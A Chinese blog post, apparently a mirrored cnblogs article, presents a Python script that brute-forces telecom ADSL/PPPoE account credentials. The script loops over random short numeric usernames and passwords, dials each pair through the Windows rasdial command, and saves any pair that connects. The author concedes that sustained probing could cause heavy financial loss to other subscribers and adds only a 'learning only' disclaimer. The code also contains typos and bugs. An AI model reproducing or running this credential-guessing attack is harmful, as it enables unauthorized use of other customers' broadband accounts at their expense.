zoukankan      html  css  js  c++  java
  • Python 基于python实现ADSL宽带帐号,密码的获取及宽带拨号

    基于python实现ADSL宽带帐号的获取及宽带拨号

     

     

    基本思想:

    1、研究上网方式(实验环境为电信网线接入式ADSL,拨号方式PPPOE)

    2、研究宽带帐号和密码生成规律(实验环境,宽带帐号为4个数字组成,密码为3个数字组成),发现帐号和密码都很简单

    3、通过python调用系统自带rasdia程序,进行拨号,如果成功拨号,说明该帐号有效则停止拨号(如果成功拨号,该号首次上网一个月内有效,如果持续探测,将可能造成其他方财产的大量损失)

    4、该程序仅用于学习,请勿用于非法用途,否则后果自负。

     

    源码:

    #!/usr/bin/env python

    # -*- coding:utf-8 -*-

     

    __author__ = 'laiyu'

     

    import os

    import random

    import time

     

    if __name__ == "__main__":

        not_found = 1

        while not_found:

            # 随机生成宽带帐号和密码

            username = str(random.randint(1000, 9999))

            passwd = str(random.randint(100, 999))

           

            # 宽带拨号

            cmd_str = "rasdia" + " " + "宽带连接" + " " + username + " " + passwd

            not_found = os.system(cmd_str)

            time.sleep(10)

           

            # 拨号成功,保存帐号密码

            if not_found == 0:

                file = open("d:\test.txt", "w")

                file.write(username+ "" + passwd)

                file.colse()

     

     

  • 相关阅读:
    wav格式
    python字符串操作
    云中Active Directory是如何工作的?
    Azure Active Directory中的特权身份管理如何运作?
    工作组下的共享设置
    重新审视虚拟桌面存储
    NAND
    如何使用PowerShell管理Windows服务
    如何应对云爆发架构?四种方法替你解忧
    配置网络策略中的 NAP 条件
  • 原文地址:https://www.cnblogs.com/shouke/p/10157866.html
Copyright © 2011-2022 走看看